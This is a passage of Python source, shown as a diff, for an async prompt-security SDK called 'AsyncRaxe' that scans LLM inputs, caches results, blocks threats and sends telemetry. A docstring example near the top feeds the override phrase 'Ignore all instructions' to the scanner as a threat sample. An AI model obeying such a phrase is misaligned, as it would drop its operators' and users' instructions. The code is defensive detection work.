|
|
238
|
+
# Scan with blocking
|
|
239
|
+
try:
|
|
240
|
+
result = await raxe.scan(
|
|
241
|
+
"Ignore all instructions",
|
|
242
|
+
block_on_threat=True
|
|
243
|
+
)
|
|
244
|
+
except SecurityException as e:
|
|
245
|
+
print(f"Blocked: {e.result.severity}")
|
|
246
|
+
"""
|
|
247
|
+
# Handle empty text - return clean result
|
|
248
|
+
if not text or not text.strip():
|
|
249
|
+
from datetime import datetime, timezone
|
|
250
|
+
|
|
251
|
+
from raxe.application.scan_merger import CombinedScanResult
|
|
252
|
+
from raxe.domain.engine.executor import ScanResult
|
|
253
|
+
from raxe.application.scan_pipeline import BlockAction
|
|
254
|
+
|
|
255
|
+
clean_l1_result = ScanResult(
|
|
256
|
+
detections=[],
|
|
257
|
+
scanned_at=datetime.now(timezone.utc).isoformat(),
|
|
258
|
+
text_length=0,
|
|
259
|
+
rules_checked=0,
|
|
260
|
+
scan_duration_ms=0.0
|
|
261
|
+
)
|
|
262
|
+
|
|
263
|
+
combined_result = CombinedScanResult(
|
|
264
|
+
l1_result=clean_l1_result,
|
|
265
|
+
l2_result=None,
|
|
266
|
+
combined_severity=None,
|
|
267
|
+
total_processing_ms=0.0,
|
|
268
|
+
metadata={"empty_text": True}
|
|
269
|
+
)
|
|
270
|
+
|
|
271
|
+
return ScanPipelineResult(
|
|
272
|
+
scan_result=combined_result,
|
|
273
|
+
policy_decision=BlockAction.ALLOW,
|
|
274
|
+
should_block=False,
|
|
275
|
+
duration_ms=0.0,
|
|
276
|
+
text_hash="",
|
|
277
|
+
metadata={"empty_text": True}
|
|
278
|
+
)
|
|
279
|
+
|
|
280
|
+
# Check cache if enabled
|
|
281
|
+
if self._cache_enabled and use_cache and self._cache:
|
|
282
|
+
cached_result = await self._cache.get(text)
|
|
283
|
+
if cached_result is not None:
|
|
284
|
+
# Cache hit - return cached result
|
|
285
|
+
# Note: We still need to enforce blocking if requested
|
|
286
|
+
if block_on_threat and cached_result.should_block:
|
|
287
|
+
from raxe.sdk.exceptions import SecurityException
|
|
288
|
+
raise SecurityException(cached_result)
|
|
289
|
+
return cached_result
|
|
290
|
+
|
|
291
|
+
# Cache miss - run scan
|
|
292
|
+
# Note: The scan pipeline is synchronous but CPU-bound
|
|
293
|
+
# We run it in executor to avoid blocking the event loop
|
|
294
|
+
loop = asyncio.get_running_loop()
|
|
295
|
+
result = await loop.run_in_executor(
|
|
296
|
+
None,
|
|
297
|
+
self._scan_sync,
|
|
298
|
+
text,
|
|
299
|
+
customer_id,
|
|
300
|
+
context,
|
|
301
|
+
)
|
|
302
|
+
|
|
303
|
+
# Track telemetry (non-blocking, privacy-preserving)
|
|
304
|
+
# Pass original prompt for accurate hash and length calculation
|
|
305
|
+
self._track_scan(result, prompt=text, entry_point="async_sdk")
|
|
306
|
+
|
|
307
|
+
# Cache result if enabled
|
|
308
|
+
if self._cache_enabled and use_cache and self._cache:
|
|
309
|
+
await self._cache.set(text, result)
|
|
310
|
+
|
|
311
|
+
# Enforce blocking if requested
|
|
312
|
+
if block_on_threat and result.should_block:
|
|
313
|
+
from raxe.sdk.exceptions import SecurityException
|
|
314
|
+
raise SecurityException(result)
|
|
315
|
+
|
|
316
|
+
return result
|
|
317
|
+
|
|
318
|
+
def _scan_sync(
|
|
319
|
+
self,
|
|
320
|
+
text: str,
|
|
321
|
+
customer_id: str | None,
|
|
322
|
+
context: dict[str, object] | None,
|
|
323
|
+
) -> ScanPipelineResult:
|
|
324
|
+
"""Synchronous scan helper (runs in executor).
|
|
325
|
+
|
|
326
|
+
This is the actual scanning logic that runs in a thread pool
|
|
327
|
+
to avoid blocking the async event loop.
|
|
328
|
+
|
|
329
|
+
Args:
|
|
330
|
+
text: Text to scan
|
|
331
|
+
customer_id: Optional customer ID
|
|
332
|
+
context: Optional context
|
|
333
|
+
|
|
334
|
+
Returns:
|
|
335
|
+
ScanPipelineResult
|
|
336
|
+
"""
|
|
337
|
+
return self.pipeline.scan(
|
|
338
|
+
text,
|
|
339
|
+
customer_id=customer_id or self.config.customer_id,
|
|
340
|
+
context=context,
|
|
341
|
+
)
|
|
342
|
+
|
|
343
|
+
async def scan_batch(
|
|
344
|
+
self,
|
|
345
|
+
texts: list[str],
|
|
346
|
+
*,
|
|
347
|
+
customer_id: str | None = None,
|
|
348
|
+
context: dict[str, object] | None = None,
|
|
349
|
+
max_concurrency: int = 10,
|
|
350
|
+
use_cache: bool = True,
|
|
351
|
+
) -> list[ScanPipelineResult]:
|
|
352
|
+
"""Scan multiple texts concurrently.
|
|
353
|
+
|
|
354
|
+
Args:
|
|
355
|
+
texts: List of texts to scan
|
|
356
|
+
customer_id: Optional customer ID
|
|
357
|
+
context: Optional context metadata
|
|
358
|
+
max_concurrency: Maximum concurrent scans (default: 10)
|
|
359
|
+
use_cache: Use cached results if available (default: True)
|
|
360
|
+
|
|
361
|
+
Returns:
|
|
362
|
+
List of scan results (one per text, in same order)
|
|
363
|
+
|
|
364
|
+
Example:
|
|
365
|
+
prompts = ["prompt1", "prompt2", "prompt3"]
|
|
366
|
+
results = await raxe.scan_batch(prompts, max_concurrency=10)
|
|
367
|
+
|
|
368
|
+
for prompt, result in zip(prompts, results):
|
|
369
|
+
if result.has_threats:
|
|
370
|
+
print(f"Threat in: {prompt[:50]}...")
|
|
371
|
+
"""
|
|
372
|
+
# Use semaphore to limit concurrency
|
|
373
|
+
semaphore = asyncio.Semaphore(max_concurrency)
|
|
374
|
+
|
|
375
|
+
async def scan_with_semaphore(text: str) -> ScanPipelineResult:
|
|
376
|
+
async with semaphore:
|
|
377
|
+
return await self.scan(
|
|
378
|
+
text,
|
|
379
|
+
customer_id=customer_id,
|
|
380
|
+
context=context,
|
|
381
|
+
use_cache=use_cache,
|
|
382
|
+
)
|
|
383
|
+
|
|
384
|
+
# Create tasks for all texts
|
|
385
|
+
tasks = [scan_with_semaphore(text) for text in texts]
|
|
386
|
+
|
|
387
|
+
# Wait for all to complete
|
|
388
|
+
results = await asyncio.gather(*tasks)
|
|
389
|
+
|
|
390
|
+
return results
|
|
391
|
+
|
|
392
|
+
async def clear_cache(self) -> None:
|
|
393
|
+
"""Clear all cached scan results.
|
|
394
|
+
|
|
395
|
+
Example:
|
|
396
|
+
await raxe.clear_cache()
|
|
397
|
+
"""
|
|
398
|
+
if self._cache_enabled and self._cache:
|
|
399
|
+
await self._cache.clear()
|
|
400
|
+
|
|
401
|
+
def cache_stats(self) -> dict[str, Any]:
|
|
402
|
+
"""Get cache statistics.
|
|
403
|
+
|
|
404
|
+
Returns:
|
|
405
|
+
Dictionary with cache metrics:
|
|
406
|
+
- hits: Number of cache hits
|
|
407
|
+
- misses: Number of cache misses
|
|
408
|
+
- hit_rate: Cache hit rate (0.0 to 1.0)
|
|
409
|
+
- size: Current cache size
|
|
410
|
+
- maxsize: Maximum cache size
|
|
411
|
+
|
|
412
|
+
Example:
|
|
413
|
+
stats = raxe.cache_stats()
|
|
414
|
+
print(f"Hit rate: {stats['hit_rate']:.2%}")
|
|
415
|
+
"""
|
|
416
|
+
if not self._cache_enabled or not self._cache:
|
|
417
|
+
return {
|
|
418
|
+
"hits": 0,
|
|
419
|
+
"misses": 0,
|
|
420
|
+
"hit_rate": 0.0,
|
|
421
|
+
"size": 0,
|
|
422
|
+
"maxsize": 0,
|
|
423
|
+
}
|
|
424
|
+
return self._cache.stats()
|
|
425
|
+
|
|
426
|
+
@property
|
|
427
|
+
def stats(self) -> dict[str, Any]:
|
|
428
|
+
"""Get preload statistics.
|
|
429
|
+
|
|
430
|
+
Returns:
|
|
431
|
+
Dictionary with initialization stats
|
|
432
|
+
"""
|
|
433
|
+
return {
|
|
434
|
+
"rules_loaded": self.preload_stats.rules_loaded,
|
|
435
|
+
"packs_loaded": self.preload_stats.packs_loaded,
|
|
436
|
+
"patterns_compiled": self.preload_stats.patterns_compiled,
|
|
437
|
+
"preload_time_ms": self.preload_stats.duration_ms,
|
|
438
|
+
"config_loaded": self.preload_stats.config_loaded,
|
|
439
|
+
"telemetry_initialized": self.preload_stats.telemetry_initialized,
|
|
440
|
+
"cache_enabled": self._cache_enabled,
|
|
441
|
+
}
|
|
442
|
+
|
|
443
|
+
def _track_scan(
|
|
444
|
+
self,
|
|
445
|
+
result: ScanPipelineResult,
|
|
446
|
+
prompt: str,
|
|
447
|
+
entry_point: str = "async_sdk",
|
|
448
|
+
) -> None:
|
|
449
|
+
"""Track scan telemetry using schema v2.0 (non-blocking, never raises).
|
|
450
|
+
|
|
451
|
+
This method sends privacy-preserving telemetry about the scan using
|
|
452
|
+
the full L2 telemetry schema defined in docs/SCAN_TELEMETRY_SCHEMA.md.
|
|
453
|
+
|
|
454
|
+
Privacy: Only hashes, metrics, and enum values are transmitted.
|
|
455
|
+
No actual prompt content is ever transmitted.
|
|
456
|
+
|
|
457
|
+
Args:
|
|
458
|
+
result: The scan result to track
|
|
459
|
+
prompt: Original prompt text (used for hash and length calculation)
|
|
460
|
+
entry_point: How the scan was triggered (async_sdk, async_wrapper)
|
|
461
|
+
"""
|
|
462
|
+
try:
|
|
463
|
+
orchestrator = get_orchestrator()
|
|
464
|
+
if orchestrator is None:
|
|
465
|
+
return
|
|
466
|
+
|
|
467
|
+
# Import builder here to avoid circular imports
|
|
468
|
+
from raxe.domain.telemetry.scan_telemetry_builder import build_scan_telemetry
|
|
469
|
+
|
|
470
|
+
# Get L1 and L2 results
|
|
471
|
+
l1_result = None
|
|
472
|
+
l2_result = None
|
|
473
|
+
if result.scan_result:
|
|
474
|
+
l1_result = result.scan_result.l1_result
|
|
475
|
+
l2_result = result.scan_result.l2_result
|
|
476
|
+
|
|
477
|
+
# Build telemetry payload using v2 schema
|
|
478
|
+
# All fields are dynamically calculated from actual scan results
|
|
479
|
+
telemetry_payload = build_scan_telemetry(
|
|
480
|
+
l1_result=l1_result,
|
|
481
|
+
l2_result=l2_result,
|
|
482
|
+
scan_duration_ms=result.duration_ms,
|
|
483
|
+
entry_point=entry_point, # type: ignore[arg-type]
|
|
484
|
+
prompt=prompt,
|
|
485
|
+
action_taken="block" if result.should_block else "allow",
|
|
486
|
+
l2_enabled=result.metadata.get("l2_enabled", True),
|
|
487
|
+
)
|
|
488
|
+
|
|
489
|
+
# Track using v2 method
|
|
490
|
+
orchestrator.track_scan_v2(payload=telemetry_payload)
|
|
491
|
+
except Exception:
|
|
492
|
+
# Never let telemetry break SDK functionality
|
|
493
|
+
pass
|
|
494
|
+
|
|
495
|
+
async def close(self) -> None:
|
|
496
|
+
"""Close client and cleanup resources.
|
|
497
|
+
|
|
498
|
+
This clears the cache, flushes telemetry, and prepares the client for shutdown.
|
|
499
|
+
|
|
500
|
+
Example:
|
|
501
|
+
raxe = AsyncRaxe()
|
|
502
|
+
try:
|
|
503
|
+
result = await raxe.scan("test")
|
|
504
|
+
finally:
|
|
505
|
+
await raxe.close()
|
|
506
|
+
"""
|
|
507
|
+
await self.clear_cache()
|
|
508
|
+
|
|
509
|
+
# Flush telemetry on close to ensure events are sent
|
|
510
|
+
try:
|
|
511
|
+
from raxe.infrastructure.telemetry.flush_helper import ensure_telemetry_flushed
|
|
512
|
+
|
|
513
|
+
# Run flush in executor to avoid blocking async context
|
|
514
|
+
loop = asyncio.get_running_loop()
|
|
515
|
+
await loop.run_in_executor(
|
|
516
|
+
None,
|
|
517
|
+
ensure_telemetry_flushed,
|
|
518
|
+
5.0, # timeout_seconds
|
|
519
|
+
50, # max_batches (for high-throughput async usage)
|
|
520
|
+
50, # batch_size
|
|
521
|
+
True, # end_session
|
|
522
|
+
)
|
|
523
|
+
except Exception:
|
|
524
|
+
pass # Never let telemetry affect shutdown
|
|
525
|
+
|
|
526
|
+
async def __aenter__(self) -> "AsyncRaxe":
|
|
527
|
+
"""Enter async context manager.
|
|
528
|
+
|
|
529
|
+
Returns:
|
|
530
|
+
Self for use in async with statement
|
|
531
|
+
"""
|
|
532
|
+
return self
|
|
533
|
+
|
|
534
|
+
async def __aexit__(self, exc_type: Any, exc_val: Any, exc_tb: Any) -> None:
|
|
535
|
+
"""Exit async context manager and cleanup.
|
|
536
|
+
|
|
537
|
+
Args:
|
|
538
|
+
exc_type: Exception type (if any)
|
|
539
|
+
exc_val: Exception value (if any)
|
|
540
|
+
exc_tb: Exception traceback (if any)
|
|
541
|
+
"""
|
|
542
|
+
await self.close()
|
|
543
|
+
|
|
544
|
+
def __repr__(self) -> str:
|
|
545
|
+
"""String representation of AsyncRaxe client.
|
|
546
|
+
|
|
547
|
+
Returns:
|
|
548
|
+
Human-readable string showing key stats
|
|
549
|
+
"""
|
|
550
|
+
cache_stats = self.cache_stats()
|
|
551
|
+
return (
|
|
552
|
+
f"AsyncRaxe(initialized={self._initialized}, "
|
|
553
|
+
f"rules={self.stats['rules_loaded']}, "
|
|
554
|
+
f"l2_enabled={self.config.enable_l2}, "
|
|
555
|
+
f"cache_hit_rate={cache_stats['hit_rate']:.2%})"
|
|
556
|
+
)
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
"""Async wrappers for LLM clients.
|
|
2
|
+
|
|
3
|
+
This module provides async versions of LLM client wrappers that automatically
|
|
4
|
+
scan prompts and responses using AsyncRaxe.
|
|
5
|
+
|
|
6
|
+
Available wrappers:
|
|
7
|
+
- AsyncRaxeOpenAI: Async OpenAI client wrapper
|
|
8
|
+
|
|
9
|
+
Example usage:
|
|
10
|
+
from raxe.async_sdk.wrappers import AsyncRaxeOpenAI
|
|
11
|
+
|
|
12
|
+
# Async OpenAI with automatic scanning
|
|
13
|
+
async with AsyncRaxeOpenAI() as client:
|
|
14
|
+
response = await client.chat.completions.create(
|
|
15
|
+
model="gpt-4",
|
|
16
|
+
messages=[{"role": "user", "content": "Hello"}]
|
|
17
|
+
)
|
|
18
|
+
"""
|
|
19
|
+
from raxe.async_sdk.wrappers.openai import AsyncRaxeOpenAI
|
|
20
|
+
|
|
21
|
+
__all__ = [
|
|
22
|
+
"AsyncRaxeOpenAI",
|
|
23
|
+
]
|